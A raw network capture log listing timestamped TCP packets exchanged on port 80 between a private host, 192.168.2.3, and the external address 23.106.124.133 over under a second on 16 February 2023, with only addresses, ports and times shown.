Feb 16, 2023 11:49:11.074142933 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.074172974 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.074198961 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.074202061 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.074225903 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.074253082 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.074259043 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.074280024 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.074306965 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.074306965 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.074337959 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.074362993 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.074383974 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.074390888 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.074410915 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.074419022 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.074446917 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.074464083 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.074474096 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.074502945 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.074518919 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.074528933 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.074554920 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.074580908 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.074585915 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.074606895 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.074630976 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.074634075 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.074661970 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.074687958 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.074709892 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.074762106 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.235821009 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.235892057 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.235930920 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.235979080 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.236004114 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.236021996 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.236046076 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.236066103 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.236103058 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.236118078 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.236139059 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.236176014 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.236191034 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.236213923 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.236255884 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.236258030 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.236293077 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.236330032 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.236332893 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.236373901 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.236403942 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.236416101 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.236433029 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.236466885 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.236474037 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.236526012 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.236566067 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.236751080 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.236789942 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.236819029 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.236833096 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.236845970 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.236876965 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.236882925 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.236916065 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.236953974 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.236954927 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.236994028 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.237030983 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.237035036 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.237059116 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.237087011 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.237099886 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.237116098 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.237148046 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.237154007 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.237178087 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.237209082 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.237214088 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.237243891 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.237271070 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.237279892 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.237307072 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.237335920 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.237370014 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.237375021 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.237401962 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.237406969 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.237437963 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.237466097 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.237478018 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.237492085 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.237535000 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.237541914 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.237562895 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.237590075 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.237598896 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.237617970 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.237647057 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.237653971 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.237683058 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.237724066 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.237746000 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.237776995 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.237823963 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.398852110 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.398916960 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.398946047 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.398977041 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.398989916 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.399008036 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.399022102 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.399038076 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.399069071 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.399082899 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.399101973 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.399132967 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.399159908 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.399189949 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.399219990 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.399221897 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.399250031 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.399250984 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.399265051 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.399280071 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.399311066 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.399322033 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.399339914 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.399373055 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.399403095 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.399409056 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.399432898 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.399465084 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.399493933 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.399498940 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.399524927 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.399537086 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.399553061 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.399564028 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.399580956 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.399610996 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.399637938 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.399643898 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.399668932 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.399687052 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.399698019 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.399727106 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.399748087 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.399755001 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.399785042 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.399794102 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.399815083 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.399844885 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.399873018 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.399877071 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.399902105 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.399930000 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.399944067 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.399972916 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.399986029 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.400002003 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.400031090 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.400049925 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.400059938 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.400089979 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.400106907 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.400119066 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.400146961 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.400166035 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.400176048 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.400206089 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.400232077 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.400234938 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.400264978 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.400279999 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.400295019 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.400325060 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.400345087 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.400352955 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.400398970 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.561070919 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561105967 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561129093 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561146975 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561166048 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561186075 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561203957 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561218977 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.561223984 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561243057 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561263084 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561283112 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561288118 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.561302900 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561316967 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.561325073 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561345100 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561362028 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561363935 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.561383963 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561388969 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.561404943 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561424017 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561431885 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.561445951 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561465025 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561477900 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.561479092 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561494112 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561506987 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561521053 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561538935 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561557055 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561567068 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.561569929 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561590910 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561594009 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.561610937 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561630011 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561640978 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.561647892 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561666965 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561681032 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.561685085 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561703920 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561712027 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.561722040 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561742067 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561749935 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.561760902 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561779022 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561795950 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.561796904 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561816931 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561822891 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.561836958 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561855078 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.561865091 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.561903000 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.562031984 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.562166929 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.562186003 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.562205076 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.562226057 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.562237978 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.562246084 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.562267065 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.562282085 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.562284946 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.562335968 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.562364101 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.724442005 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.724493027 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.724522114 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.724544048 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.724565029 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.724587917 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.724606991 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.724627018 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.724648952 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.724668980 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.724689960 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.724709034 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.724716902 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.724734068 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.724755049 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.724755049 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.724776983 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.724781990 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.724802971 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.724809885 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.724824905 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.724843979 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.724852085 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.724864960 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.724883080 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.724884033 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.724905014 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.724925041 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.724944115 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.724946022 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.724965096 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.724973917 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.724984884 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.725004911 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.725016117 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.725024939 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.725044012 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.725047112 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.725064993 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.725085974 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.725105047 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.725106001 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.725126982 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.725147009 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.725147963 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.725167036 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.725187063 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.725193024 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.725207090 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.725224972 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.725229979 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.725244999 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.725265026 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.725285053 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.725295067 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.725311041 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.725322962 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.725333929 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.725344896 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.725357056 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.725375891 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.725385904 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.725398064 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.725416899 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.725433111 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.725435019 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.725455999 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.725474119 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.725481033 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.725493908 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.725512981 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.725526094 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.725533009 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.725555897 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.725558043 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.725580931 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.725581884 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.725604057 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.725626945 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.725630999 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.725653887 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.725681067 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.725683928 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.725709915 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.725723982 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:11.725733995 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:11.725759983 CET	80	49700	23.106.124.133	192.168.2.3
